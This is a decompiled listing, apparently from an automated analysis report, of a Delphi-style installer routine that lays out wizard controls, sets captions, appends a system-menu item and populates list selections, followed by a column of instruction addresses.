				E004145E0( *((intOrPtr*)( *_t1453 + 0x2e4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)) + E0042E630(_t831 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)), _t1611) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)));
				E004145E0( *((intOrPtr*)( *_t1453 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x208)) + 0x28)) + E0042E630(_t831 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)), _t1611) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)) + E0046145C(_t1470,  *((intOrPtr*)( *_t1453 + 0x2e4)), _t1903));
				_t1619 =  *0x48fbbc; // 0x2309ffc
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2d4)), _t1453, _t1619,  *((intOrPtr*)( *_t1453 + 0x290)), E0042E630(_t831 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)), _t1611) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)) + E0046145C(_t1470,  *((intOrPtr*)( *_t1453 + 0x2e4)), _t1903));
				_v60 = 0x14;
				_t850 = E0048AAE0( *_t1453, _t1453, 0,  &_v60,  *((intOrPtr*)( *_t1453 + 0x290)), E0042E630(_t831 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)), _t1611) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)) + E0046145C(_t1470,  *((intOrPtr*)( *_t1453 + 0x2e4)), _t1903), _t1903);
				_t1844 = _t850;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d4)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d4)) + 0x30)), _t850);
				E00414600( *((intOrPtr*)( *_t1453 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d4)) + 0x24)) - E0048AD80( *_t1453, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x208)) + 0x24)));
				E00461124(0x29,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x204)), _t1453, _v48, _t850,  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d4)))));
				E004145E0( *((intOrPtr*)( *_t1453 + 0x204)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x204)) + 0x28)) - E0046145C( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d4)) + 0x28)) + E0042E630(_t831 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2dc)) + 0x30)), _t1611) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e4)) + 0x28)) + E0046145C(_t1470,  *((intOrPtr*)( *_t1453 + 0x2e4)), _t1903),  *((intOrPtr*)( *_t1453 + 0x204)), _t1903));
				_t882 =  *0x48fe90; // 0x2318114
				E00461124(0x84,  &_v48);
				E004634F0( *_t1453, 7, _t1903, _v48, _t882,  *((intOrPtr*)( *_t1453 + 0x1e8)));
				E00461124(0x85,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x298)), _t1453, _v48, _t850,  *((intOrPtr*)( *_t1453 + 0x204)));
				_t1868 = E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x298)), _t1903);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x224)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x224)) + 0x28)) + _t1868);
				_t1475 = _t1868;
				E0046148C(_t1868,  *((intOrPtr*)( *_t1453 + 0x278)));
				E00461124(0x1e,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x27c)), _t1453, _v48, _t850, _t1868);
				E0046145C(_t1868,  *((intOrPtr*)( *_t1453 + 0x27c)), _t1903);
				if( *0x49023b != 0) {
					_t1376 =  *0x4901b0; // 0x22f59fc
					if( *((intOrPtr*)(_t1376 + 8)) == 1) {
						E00414A28( *((intOrPtr*)( *_t1453 + 0x224)), _t1475, 0, _t1844);
						_t1906 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x278)) + 0x28));
						E0046148C( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x278)) + 0x28)),  *((intOrPtr*)( *_t1453 + 0x278)));
					}
				}
				_t915 =  *0x48fe94; // 0x2318134
				E00461124(0x8e,  &_v48);
				E004634F0( *_t1453, 8, _t1906, _v48, _t915,  *((intOrPtr*)( *_t1453 + 0x1ec)));
				E00461124(0x8f,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x294)), _t1453, _v48, _t1844, _t1868);
				_t928 = E0048AD80( *_t1453, 0xc);
				_t1846 = _t928 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x2c));
				_t1869 =  *((intOrPtr*)( *_t1453 + 0x294));
				_t1870 =  *_t1869;
				 *((intOrPtr*)( *_t1869 + 0x4c))( *((intOrPtr*)(_t1869 + 0x30)),  *((intOrPtr*)(_t1869 + 0x2c)) - _t928 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x2c)) -  *((intOrPtr*)(_t1869 + 0x24)));
				E0046145C( *((intOrPtr*)(_t1869 + 0x28)),  *((intOrPtr*)( *_t1453 + 0x294)), _t1906);
				if( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x30))) {
					_t1804 =  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x30)) - 1;
					_t1805 = _t1804 >> 1;
					if(_t1804 < 0) {
						asm("adc edx, 0x0");
					}
					_t1909 = _t1805 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x28));
					E004145E0( *((intOrPtr*)( *_t1453 + 0x294)), _t1805 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x28)));
				}
				E00461124(0x8d,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2e8)), _t1453, _v48, _t1846, _t1870);
				_push(E0048AD90( *_t1453, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x294)) + 0x30)) - 1);
				_t954 = E0048AD90( *_t1453, 0xc);
				_pop(_t1672);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x2e8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e8)) + 0x28)) + E0042E630(_t954 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)), _t1672) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e8)) + 0x28)));
				E004145E0( *((intOrPtr*)( *_t1453 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x20c)) + 0x28)) + E0042E630(_t954 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)), _t1672) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e8)) + 0x28)) + E0046145C( *((intOrPtr*)( *_t1453 + 0x2e0)),  *((intOrPtr*)( *_t1453 + 0x2e8)), _t1909));
				_t1678 =  *0x48fbbc; // 0x2309ffc
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2d8)), _t1453, _t1678, _t1846, E0042E630(_t954 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)), _t1672) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e8)) + 0x28)) + E0046145C( *((intOrPtr*)( *_t1453 + 0x2e0)),  *((intOrPtr*)( *_t1453 + 0x2e8)), _t1909));
				_v60 = 0x14;
				_t976 = E0048AAE0( *_t1453, _t1453, 0,  &_v60, _t1846, E0042E630(_t954 +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e0)) + 0x30)), _t1672) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2e8)) + 0x28)) + E0046145C( *((intOrPtr*)( *_t1453 + 0x2e0)),  *((intOrPtr*)( *_t1453 + 0x2e8)), _t1909), _t1909);
				_t1847 = _t976;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d8)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d8)) + 0x30)), _t976);
				E00414600( *((intOrPtr*)( *_t1453 + 0x20c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d8)) + 0x24)) - E0048AD80( *_t1453, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x20c)) + 0x24)));
				_t1689 =  *0x48fd14; // 0x230b7e8
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x210)), _t1453, _t1689, _t976,  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d8)))));
				_t1001 =  *0x48fe98; // 0x231815c
				E00461124(0x90,  &_v48);
				E004634F0( *_t1453, 9, _t1909, _v48, _t1001,  *((intOrPtr*)( *_t1453 + 0x1f0)));
				E00461124(0x91,  &_v48);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x29c)), _t1453, _v48, _t976,  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d8)))));
				E0046148C(E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x29c)), _t1909),  *( *_t1453 + 0x2cc));
				E0042BBB4( *( *_t1453 + 0x2cc), 0);
				 *((intOrPtr*)( *( *_t1453 + 0x2cc) + 0x154)) = E0048AD90( *_t1453, 0x16);
				_t1910 =  *0x490160 & 0x00000010;
				E0044DCCC( *( *_t1453 + 0x2cc),  *( *_t1453 + 0x2cc) & 0xffffff00 | ( *0x490160 & 0x00000010) != 0x00000000);
				_t1029 =  *0x48fe88; // 0x23180cc
				E00461124(0x79,  &_v48);
				E004634F0( *_t1453, 0xa,  *0x490160 & 0x00000010, _v48, _t1029,  *((intOrPtr*)( *_t1453 + 0x1f4)));
				_t1038 =  *0x48fe84; // 0x23180a8
				E00461124(0x77,  &_v48);
				E004634F0( *_t1453, 0xb,  *0x490160 & 0x00000010, _v48, _t1038,  *((intOrPtr*)( *_t1453 + 0x1f8)));
				_t1047 =  *0x48fe78; // 0x2318058
				E00461124(0x5b,  &_v48);
				E004634F0( *_t1453, 0xc,  *0x490160 & 0x00000010, _v48, _t1047,  *((intOrPtr*)( *_t1453 + 0x1fc)));
				_t1056 =  *0x48fe70; // 0x2318028
				_t1057 =  *0x48fcc8; // 0x230b278
				E004634F0( *_t1453, 0xd,  *0x490160 & 0x00000010, _t1057, _t1056,  *((intOrPtr*)( *_t1453 + 0x200)));
				_t1708 =  *0x48fcc4; // 0x230b234
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x274)), _t1453, _t1708, _t976, _t1015);
				E0046148C(E0046145C( *((intOrPtr*)( *_t1453 + 0x1cc)),  *((intOrPtr*)( *_t1453 + 0x274)),  *0x490160 & 0x00000010),  *((intOrPtr*)( *_t1453 + 0x270)));
				E004634F0( *_t1453, 0xe,  *0x490160 & 0x00000010, 0, 0, 0);
				_t1493 =  *0x49019c; // 0xc
				_t1712 =  *0x490174; // 0x231768c
				E0048A72C( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c0)) + 0x44)), _t1453, _t1493, _t1712, _t976, _t1066, 0xc, 0);
				_t1713 =  *0x46333c; // 0x1
				E0041A3B4( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c0)) + 0x44)), _t1713, _t1910);
				E00461124(0x4e,  &_v48);
				_push( &_v48);
				_pop(_t1084);
				E00403594(_t1084, 0x463358);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x2c0)), _t1453, _v48, _t976, _t1066);
				E0046145C(_t1493,  *((intOrPtr*)( *_t1453 + 0x2c0)), _t1910);
				E004145E0( *((intOrPtr*)( *_t1453 + 0x254)),  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2c0)) + 0x30)));
				_t1720 =  *0x48fea4; // 0x23181c0
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x258)), _t1453, _t1720, _t976, _t1066);
				_t1721 =  *0x48fd18; // 0x230b818
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x25c)), _t1453, _t1721, _t1847, _t1066);
				 *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x2d0)) + 0x154)) = E0048AD90( *_t1453, 0x16);
				E004034AC( &_v48, 0x463374);
				_t1726 =  *0x48fb88; // 0x0
				E00403594( &_v48, _t1726);
				E00403594( &_v48, 0x463374);
				E00414AFC( *((intOrPtr*)( *_t1453 + 0x280)), _t1453, _v48, _t1847, _t1066);
				if( *0x4901ec != 0) {
					E0044F210( *((intOrPtr*)( *_t1453 + 0x26c)), 1);
					E0044F344();
				}
				if( *0x4901f0 != 0) {
					E0044F210( *((intOrPtr*)( *_t1453 + 0x234)), 1);
					E0044F344();
				}
				if( *0x4901f4 != 0) {
					E0044F210( *((intOrPtr*)( *_t1453 + 0x270)), 1);
					E0044F344();
				}
				_t1877 = GetSystemMenu(E004181C4( *_t1453), 0);
				AppendMenuA(_t1877, 0x800, 0, 0);
				_t1120 =  *0x48fb6c; // 0x2309d64
				AppendMenuA(_t1877, 0, 0x270f, E00403750(_t1120));
				E004635E4( *_t1453, _t1453, _t1493, _t1847, _t1877); // executed
				_v28 = 0xffffffff;
				if(( *0x490160 & 0x00000001) != 0) {
					if( *((intOrPtr*)( *_t1453 + 0x30c)) != 0) {
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2ac)), _t1453,  *((intOrPtr*)( *_t1453 + 0x30c)), _t1847, _t1877);
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2b4)), _t1453,  *((intOrPtr*)( *_t1453 + 0x310)), _t1847, _t1877);
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2c8)), _t1453,  *((intOrPtr*)( *_t1453 + 0x314)), _t1847, _t1877);
					} else {
						_t1332 =  *0x490090; // 0x2316c4c
						E004737F0(_t1332, _t1493,  &_v48);
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2ac)), _t1453, _v48, _t1847, _t1877);
						_t1337 =  *0x490094; // 0x2316c6c
						E004737F0(_t1337, _t1493,  &_v48);
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2b4)), _t1453, _v48, _t1847, _t1877);
						_t1342 =  *0x490098; // 0x0
						E004737F0(_t1342, _t1493,  &_v48);
						E00414AFC( *((intOrPtr*)( *_t1453 + 0x2c8)), _t1453, _v48, _t1847, _t1877);
					}
				}
				if(( *0x49015c & 0x00000004) == 0) {
					_t1729 =  *0x48fffc; // 0x2329c0c
					E00414AFC( *((intOrPtr*)( *_t1453 + 0x208)), _t1453, _t1729, _t1847, _t1877);
				} else {
					_t1299 =  *0x490068; // 0x2306fc8
					E004737F0(_t1299, _t1493,  &_v48);
					E00403468( *_t1453 + 0x2f4, _t1453, _v48, _t1847, _t1877);
					_t1917 =  *0x48ff84;
					if( *0x48ff84 == 0) {
						E004034AC( &_v24,  *((intOrPtr*)( *_t1453 + 0x300)));
						__eflags = _v24;
						if(_v24 == 0) {
							E004034AC( &_v24,  *((intOrPtr*)( *_t1453 + 0x2f4)));
						}
					} else {
						_t1787 =  *0x48ff84; // 0x0
						E004034AC( &_v24, _t1787);
					}
					E0042C738(_v24,  &_v64);
					E0042CAE0(_v64, _t1493,  &_v48, _t1917);
					E004034AC( &_v24, _v48);
					E00414AFC( *((intOrPtr*)( *_t1453 + 0x208)), _t1453, _v24, _t1847, _t1877);
				}
				_t1128 =  *0x4901b0; // 0x22f59fc
				if( *((intOrPtr*)(_t1128 + 8)) <= 0) {
					L58:
					 *((intOrPtr*)( *_t1453 + 0x338)) = 0;
					_t1731 = 0;
					 *( *_t1453 + 0x334) = 0;
					_t1131 =  *0x4901b4; // 0x22f5a10
					_t1133 =  *((intOrPtr*)(_t1131 + 8)) - 1;
					if(_t1133 < 0) {
						L63:
						E0042B950( *((intOrPtr*)( *_t1453 + 0x278)));
						E0044DC58( *((intOrPtr*)( *_t1453 + 0x278)), _t1731 & 0xffffff00 | ( *0x49015f & 0x00000002) != 0x00000000);
						_t1140 =  *0x4901b4; // 0x22f5a10
						_t1142 =  *((intOrPtr*)(_t1140 + 8)) - 1;
						if(_t1142 < 0) {
							L69:
							if( *0x48ffa4 == 0) {
								__eflags = _v28 - 0xffffffff;
								if(_v28 == 0xffffffff) {
									_t1143 =  *0x4901b0; // 0x22f59fc
									__eflags =  *(_t1143 + 8);
									if( *(_t1143 + 8) > 0) {
										_t1210 =  *0x4901b0; // 0x22f59fc
										_v32 = E0040B420(_t1210, 0);
										_t1493 = 0;
										__eflags = 0;
										E004640E0( *_t1453, 0,  *_v32, _t1883);
									}
								} else {
									_t1215 =  *0x4901b0; // 0x22f59fc
									_v32 = E0040B420(_t1215, _v28);
									_t1217 = _v32;
									__eflags =  *(_t1217 + 0x24) & 0x00000001;
									if(( *(_t1217 + 0x24) & 0x00000001) == 0) {
										_t1218 =  *0x4901b0; // 0x22f59fc
										_v32 = E0040B420(_t1218, _v28);
										_t1493 = 0;
										E004640E0( *_t1453, 0,  *_v32, _t1883);
									} else {
										_t1223 =  *0x4901b0; // 0x22f59fc
										_v32 = E0040B420(_t1223, 0);
										E004640E0( *_t1453, 0,  *_v32, _t1883);
										_t1493 =  *((intOrPtr*)( *_t1453 + 0x320));
										E00464058( *_t1453,  *((intOrPtr*)( *_t1453 + 0x320)),  *((intOrPtr*)( *_t1453 + 0x31c)));
									}
								}
								L83:
								E0046183C( *_t1453);
								E004615A8( *_t1453, _t1453, _t1847, _t1877, _t1950);
								if( *0x49023b == 0) {
									__eflags = 0;
									E00414A28( *((intOrPtr*)( *_t1453 + 0x278)), _t1493, 0, _t1847);
								} else {
									_t1200 = E0042A024( *((intOrPtr*)( *_t1453 + 0x224)));
									_t1201 =  *0x4901b0; // 0x22f59fc
									_v32 = E0040B420(_t1201, _t1200);
									if(( *(_v32 + 0x24) & 0x00000001) != 0 || ( *0x49015f & 0x00000001) != 0) {
										E00414A28( *((intOrPtr*)( *_t1453 + 0x278)), _t1493, 1, _t1847);
									} else {
										E00414A28( *((intOrPtr*)( *_t1453 + 0x278)), _t1493, 0, _t1847);
									}
								}
								E00414A28( *((intOrPtr*)( *_t1453 + 0x27c)), _t1493,  *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x278)) + 0x37)), _t1847);
								if( *0x49023b != 0) {
									 *((intOrPtr*)( *_t1453 + 0x330)) = E0042A024( *((intOrPtr*)( *_t1453 + 0x224)));
									_push(0);
									_t1493 = 0;
									E00464270( *_t1453, _t1453, 0,  *((intOrPtr*)( *_t1453 + 0x32c)), _t1847, _t1877);
								}
								_t1156 =  *0x49006c; // 0x2306fe4
								E004737F0(_t1156, _t1493,  &_v48);
								E00403468( *_t1453 + 0x2f8, _t1453, _v48, _t1847, _t1877);
								if( *0x48ff88 == 0 || ( *0x49015c & 0x00000010) != 0) {
									_t1161 =  *_t1453;
									__eflags =  *(_t1161 + 0x304);
									if( *(_t1161 + 0x304) == 0) {
										L96:
										E004034AC( &_v24,  *((intOrPtr*)( *_t1453 + 0x2f8)));
										goto L98;
									}
									E0040369C( *((intOrPtr*)( *_t1453 + 0x304)), "(Default)");
									if(__eflags != 0) {
										E004034AC( &_v24,  *((intOrPtr*)( *_t1453 + 0x304)));
										goto L98;
									}
									goto L96;
								} else {
									_t1747 =  *0x48ff88; // 0x0
									E004034AC( &_v24, _t1747);
									L98:
									E00414AFC( *((intOrPtr*)( *_t1453 + 0x20c)), _t1453, _v24, _t1847, _t1877);
									if(( *0x49015c & 0x00000020) == 0) {
										__eflags = 0;
										E00414A28( *((intOrPtr*)( *_t1453 + 0x210)), _t1493, 0, _t1847);
									} else {
										if( *0x48ff94 != 0 ||  *((char*)( *_t1453 + 0x318)) != 0) {
											E0042B0C8(1);
										}
										E00414A28( *((intOrPtr*)( *_t1453 + 0x210)), _t1493, 1, _t1847);
									}
									 *((char*)( *_t1453 + 0x2fc)) = 1;
									_pop(_t1741);
									 *[fs:eax] = _t1741;
									_push(E00463322);
									E00403418( &_v64);
									E00403418( &_v48);
									return E00403418( &_v24);
								}
							}
							_t1493 = 0;
							_t1761 =  *0x48ff9c; // 0x22f58b8
							E00464058( *_t1453, 0, _t1761);
							if( *0x49023b == 0) {
								goto L83;
							}
							_t1234 =  *0x4901b0; // 0x22f59fc
							_t1236 =  *((intOrPtr*)(_t1234 + 8)) - 1;
							if(_t1236 < 0) {
								goto L83;
							}
							_v44 = _t1236 + 1;
							_t1877 = 0;
							while(1) {
								_t1238 =  *0x4901b0; // 0x22f59fc
								_v32 = E0040B420(_t1238, _t1877);
								if(( *(_v32 + 0x24) & 0x00000001) != 0) {
									break;
								}
								_t1877 =  &(_t1877->i);
								_t498 =  &_v44;
								 *_t498 = _v44 - 1;
								__eflags =  *_t498;
								if( *_t498 != 0) {
									continue;
								}
								goto L83;
							}
							E0042A040( *((intOrPtr*)( *_t1453 + 0x224)), _t1877);
							goto L83;
						}
						_v44 = _t1142 + 1;
						_t1878 = 0;
						do {
							_t1245 =  *0x4901b4; // 0x22f5a10
							_t1847 = E0040B420(_t1245, _t1878);
							if(( *(_t1847 + 0x35) & 0x00000008) == 0) {
								 *(_t1847 + 0x35) & 0x00000001 =  *(_t1847 + 0x35) & 0x00000010;
								E004737F0( *((intOrPtr*)(_t1847 + 4)), _t1493,  &_v48);
								_t1493 = 0;
								__eflags = 0;
								E0044BD38( *((intOrPtr*)( *_t1453 + 0x278)), _v48, _t1847, ( *(_t1847 + 0x20) & 0xffffff00 | 0 != 0x00000000) ^ 0x00000001,  *(_t1847 + 0x20), ( *(_t1847 + 0x1c) & 0xffffff00 | 0 != 0x00000000) ^ 0x00000001, 0,  *(_t1847 + 0x1c));
							} else {
								E004737F0( *((intOrPtr*)(_t1847 + 4)), _t1493,  &_v48);
								_t1493 = 0;
								E0044BE08(0, _v48, _t1847, ( *(_t1847 + 0x1c) & 0xffffff00 | ( *(_t1847 + 0x35) & 0x00000001) != 0x00000000) ^ 0x00000001, 0,  *(_t1847 + 0x1c));
							}
							_t1878 = _t1878 + 1;
							_t488 =  &_v44;
							 *_t488 = _v44 - 1;
						} while ( *_t488 != 0);
						goto L69;
					}
					_v44 = _t1133 + 1;
					_t1879 = 0;
					do {
						_t1267 =  *0x4901b4; // 0x22f5a10
						_t1847 = E0040B420(_t1267, _t1879);
						_t443 =  *_t1453 + 0x334; // 0x334
						_t1731 = _t443;
						_t444 = _t1847 + 0x36; // 0x36
						if(E00430228(_t444, _t443) > 0) {
							_t1272 =  *_t1453;
							 *((intOrPtr*)(_t1272 + 0x334)) =  *((intOrPtr*)(_t1847 + 0x36));
							_t1731 =  *(_t1847 + 0x3a);
							 *(_t1272 + 0x338) =  *(_t1847 + 0x3a);
						}
						_t1879 = _t1879 + 1;
						_t449 =  &_v44;
						 *_t449 = _v44 - 1;
					} while ( *_t449 != 0);
					goto L63;
				} else {
					E00429FBC( *((intOrPtr*)( *_t1453 + 0x224)));
					_t1276 =  *0x4901b0; // 0x22f59fc
					_t1278 =  *((intOrPtr*)(_t1276 + 8)) - 1;
					if(_t1278 < 0) {
						L55:
						if(_v28 == 0xffffffff) {
							__eflags = 0;
							E0042A040( *((intOrPtr*)( *_t1453 + 0x224)), 0);
						} else {
							E0042A040( *((intOrPtr*)( *_t1453 + 0x224)), _v28);
						}
						goto L58;
					}
					_v44 = _t1278 + 1;
					_t1880 = 0;
					do {
						_t1286 =  *0x4901b0; // 0x22f59fc
						_v32 = E0040B420(_t1286, _t1880);
						E004737F0( *((intOrPtr*)(_v32 + 4)), _t1493,  &_v48);
						_t1493 = _v32;
						_t1847 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x224)) + 0xfc))));
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1453 + 0x224)) + 0xfc)))) + 0x30))();
						if(E00406A24( *_v32,  *((intOrPtr*)( *_t1453 + 0x308))) == 0) {
							_v28 = _t1880;
						}
						_t1880 = _t1880 + 1;
						_t433 =  &_v44;
						 *_t433 = _v44 - 1;
					} while ( *_t433 != 0);
					goto L55;
				}
			}

0x00461c80
0x00461c80
0x00461c80
0x00461c80
0x00461c81
0x00461c83
0x00461c86
0x00461c87
0x00461c88
0x00461c8b
0x00461c8e
0x00461c91
0x00461c96
0x00461c98
0x00461c9b
0x00461c9b
0x00461ca0
0x00461ca3
0x00461ca6
0x00461ca9
0x00461cb7
0x00461cc1
0x00461cd4
0x00461ce8
0x00461cfc
0x00461d10
0x00461d24
0x00461d38
0x00461d3e
0x00461d53
0x00461d57
0x00461d5b
0x00461d6e
0x00461d7b
0x00461d7e
0x00461d80
0x00461d82
0x00461d82
0x00461d8f
0x00461d8f
0x00461d94
0x00461da9
0x00461dad
0x00461dba
0x00461dc4
0x00461dd1
0x00461dd4
0x00461dd6
0x00461dd8
0x00461dd8
0x00461ddb
0x00461de5
0x00461de5
0x00461dec
0x00461df1
0x00461df8
0x00461e0d
0x00461dfa
0x00461dfc
0x00461e04
0x00461e04
0x00461e21
0x00461e27
0x00461e2d
0x00461e3d
0x00461e43
0x00461e53
0x00461e59
0x00461e65
0x00461e76
0x00461e79
0x00461e81
0x00461e8b
0x00461e67
0x00461e67
0x00461e6f
0x00461e6f
0x00461e97
0x00461ea0
0x00461eaa
0x00461eb5
0x00461ebd
0x00461ec6
0x00461ed0
0x00461eda
0x00461eda
0x00461edf
0x00461ee3
0x00461ee7
0x00461eeb
0x00461eef
0x00461f02
0x00461f10
0x00461f1d
0x00461f2c
0x00461f3b
0x00461f42
0x00461f58
0x00461f6c
0x00461f71
0x00461f7d
0x00461f8a
0x00461f90
0x00461fa3
0x00461fb2
0x00461fc9
0x00461fd6
0x00461fdc
0x00461fef
0x00461ffe
0x00462015
0x00462022
0x00462028
0x0046202d
0x0046203f
0x00462049
0x00462064
0x00462076
0x00462088
0x0046208e
0x004620a9
0x004620b3
0x004620c0
0x004620d0
0x004620df
0x004620ff
0x00462109
0x00462116
0x0046211e
0x00462124
0x00462134
0x00462142
0x00462148
0x0046215d
0x00462167
0x00462177
0x00462199
0x004621a6
0x004621ac
0x004621b9
0x004621bf
0x004621cd
0x004621d3
0x004621e8
0x004621f5
0x004621fb
0x00462208
0x0046220e
0x00462231
0x00462254
0x00462262
0x00462268
0x0046227d
0x0046228a
0x00462290
0x004622b2
0x004622c0
0x004622c6
0x004622ce
0x004622db
0x004622e8
0x004622ee
0x00462302
0x00462311
0x00462323
0x00462330
0x00462336
0x0046234a
0x00462359
0x0046235e
0x00462365
0x004623cb
0x004623d8
0x004623da
0x00462367
0x0046237c
0x00462389
0x0046238f
0x004623ba
0x004623ba
0x004623e8
0x004623f3
0x0046240b
0x00462415
0x00462425
0x00462431
0x0046243a
0x00462446
0x0046244a
0x0046245f
0x00462466
0x00462468
0x00462475
0x00462490
0x004624a9
0x004624ab
0x004624ad
0x004624af
0x004624af
0x004624ba
0x004624c5
0x004624c5
0x004624cf
0x004624df
0x00462501
0x00462509
0x0046251e
0x00462546
0x00462569
0x00462576
0x0046257c
0x00462581
0x0046258c
0x00462591
0x004625cf
0x004625fe
0x00462608
0x00462618
0x00462635
0x00462643
0x0046264e
0x00462666
0x00462670
0x00462680
0x00462694
0x004626ab
0x004626b8
0x004626bc
0x004626c6
0x004626d6
0x004626e5
0x004626f1
0x004626f3
0x004626fc
0x00462708
0x00462720
0x0046272d
0x0046272d
0x004626fc
0x0046273b
0x00462746
0x0046275e
0x00462768
0x00462778
0x00462784
0x004627a1
0x004627a5
0x004627c1
0x004627c3
0x004627d0
0x004627eb
0x00462804
0x00462806
0x00462808
0x0046280a
0x0046280a
0x00462815
0x00462820
0x00462820
0x0046282a
0x0046283a
0x00462864
0x0046286c
0x00462889
0x004628b1
